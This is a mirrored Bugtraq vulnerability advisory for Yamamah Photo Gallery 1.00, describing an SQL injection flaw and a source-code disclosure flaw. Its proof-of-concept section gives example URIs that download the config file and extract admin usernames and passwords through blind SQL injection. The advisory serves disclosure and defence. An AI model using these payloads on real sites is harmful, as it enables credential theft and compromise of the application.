Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities

BID:40835

Info

Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities

Bugtraq ID: 40835
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jun 12 2010 12:00AM
Updated: Jun 12 2010 12:00AM
Credit: anT!-Tr0J4n
Vulnerable: yamamah yamamah 1.00
Not Vulnerable:

Discussion

Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities

Yamamah Photo Gallery is prone to an SQL-injection vulnerability and a source-code-disclosure vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to view the source code of files in the context of the server process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks may also be possible.

Yamamah 1.00 is vulnerable; other versions may also be affected.

Exploit / POC

Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http:www.example.com/index.php?download=includes/config.inc.php

http:www.example.com/yamamah/?news=1+and%20%28select%20substring%28concat%281,username%29,1,1%29%20from%20admin%20limit%200,1%29=1

http:www.example.com/yamamah/?news=1+and%20%28select%20substring%28concat%281,password%29,1,1%29%20from%20admin%20limit%200,1%29=1

Solution / Fix

Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report